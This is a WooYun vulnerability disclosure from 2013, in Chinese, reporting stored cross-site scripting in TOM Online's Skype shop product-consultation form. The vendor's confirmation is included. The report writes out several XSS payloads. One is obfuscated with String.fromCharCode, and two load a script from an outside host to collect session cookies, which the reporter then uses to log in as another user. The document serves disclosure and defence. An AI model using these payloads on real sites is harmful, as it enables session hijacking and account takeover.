当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2013-033011
漏洞标题：
tom在线的Skype商城存在储存xss（完美登陆用户cookie）
相关厂商：
TOM在线
漏洞作者：
mango
提交时间：
2013-07-31 16:55
修复时间：
2013-09-14 16:55
公开时间：
2013-09-14 16:55
漏洞类型：
xss跨站脚本攻击
危害等级：
中
自评Rank：
20
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2013-07-31： 细节已通知厂商并且等待厂商处理中
2013-07-31： 厂商已经确认，细节仅向厂商公开
2013-08-10： 细节向核心白帽子及相关领域专家公开
2013-08-20： 细节向普通白帽子公开
2013-08-30： 细节向实习白帽子公开
2013-09-14： 细节向公众公开

简要描述：

这个xss就坑爹了。。。

详细说明：

http://shop.skype.tom.com/
在这个商城随便找一个商品然后咨询该商品

H5}TP93HUSC$~`ZF]H2ZIDQ.jpg


([WRQPVH0}NFMN%W6Y3}[BM.jpg


开始我试了很多的xss,但是只有一个可弹窗

“><img src=1 onerror=alert(1);>


然后呢我转义一下

<img/src=1 onerror=(function(){window.s=document.createElement(String.fromCharCode
(115,99,114,105,112,116));window.s.src=String.fromCharCode
(104,116,116,112,58,47,47,120,46,99,111,47,49,84,67,122,108);document.body.appendChild
(window.s)})()>


坑爹了 字符太多了

L]4$O_MT1XM%Q)TIZNW67BI.jpg


这里要感谢一下@钱途 基友的帮助
他说可以绕过的给了以下代码

<img src=x onerror=document.body.appendChild(createElement('script')).src='http://xxxxx'>


然后我就xss了果然成功了

G`O@}%I464~T[[T0ZJW`[1A.jpg


然后坐等收取cookie
我没有等直接用自己的号登陆试试了。
结果可想而知成功收到cookie

_PPDW@MHFFQZ0RK3I$B[S7N.jpg


然后登陆

_HD1MR1_VEKZHN1Z~ZV_]NT.jpg


完美登陆的有木有。。。如果商家回复或者管理员进入咨询页面那么可想而知后果。。

漏洞证明：

_HD1MR1_VEKZHN1Z~ZV_]NT.jpg


完美登陆

修复方案：

景浩我等着你的签名照呢。

版权声明：转载请注明来源 mango@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2013-07-31 17:39

厂商回复：

非常感谢您对TOM在线的帮助，我们会尽快做出处理。

最新状态：

暂无